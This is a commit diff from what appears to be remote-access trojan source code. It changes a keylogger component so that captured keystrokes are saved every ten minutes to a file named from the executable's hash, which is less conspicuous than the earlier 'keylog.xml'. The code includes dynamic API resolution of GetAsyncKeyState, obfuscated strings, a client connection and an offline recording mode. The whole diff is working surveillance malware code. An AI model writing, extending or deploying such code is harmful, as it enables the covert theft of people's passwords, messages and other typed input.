Fix: Save keyboard input log to file every 10 minutes
This commit is contained in:
@@ -53,7 +53,9 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
|
|||||||
m_bIsOfflineRecord = offline;
|
m_bIsOfflineRecord = offline;
|
||||||
|
|
||||||
char path[MAX_PATH] = { "C:\\Windows\\" };
|
char path[MAX_PATH] = { "C:\\Windows\\" };
|
||||||
GET_FILEPATH(path, skCrypt(KEYLOG_FILE));
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||||
|
std::string fileName = GetExeHashStr() + ".db";
|
||||||
|
GET_FILEPATH(path, fileName.c_str());
|
||||||
strcpy_s(m_strRecordFile, path);
|
strcpy_s(m_strRecordFile, path);
|
||||||
m_Buffer = new CircularBuffer(m_strRecordFile);
|
m_Buffer = new CircularBuffer(m_strRecordFile);
|
||||||
|
|
||||||
@@ -642,6 +644,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
|||||||
GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
|
GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
|
||||||
HDESK desktop = NULL;
|
HDESK desktop = NULL;
|
||||||
clock_t lastCheck = 0;
|
clock_t lastCheck = 0;
|
||||||
|
auto lastSave = time(0);
|
||||||
while(pThis->m_bIsWorking) {
|
while(pThis->m_bIsWorking) {
|
||||||
if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
|
if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
|
||||||
#if USING_KB_HOOK
|
#if USING_KB_HOOK
|
||||||
@@ -651,6 +654,11 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
Sleep(5);
|
Sleep(5);
|
||||||
|
auto tm = time(0);
|
||||||
|
if (tm - lastSave > 600) {
|
||||||
|
lastSave = tm;
|
||||||
|
pThis->m_Buffer->WriteAvailableDataToFile(pThis->m_strRecordFile);
|
||||||
|
}
|
||||||
#if USING_KB_HOOK
|
#if USING_KB_HOOK
|
||||||
clock_t now = clock();
|
clock_t now = clock();
|
||||||
if (now - lastCheck > 1000) {
|
if (now - lastCheck > 1000) {
|
||||||
|
|||||||
@@ -7,8 +7,6 @@
|
|||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
|
|
||||||
#define KEYLOG_FILE "keylog.xml"
|
|
||||||
|
|
||||||
#if ENABLE_KEYBOARD==0
|
#if ENABLE_KEYBOARD==0
|
||||||
#define CKeyboardManager1 CManager
|
#define CKeyboardManager1 CManager
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user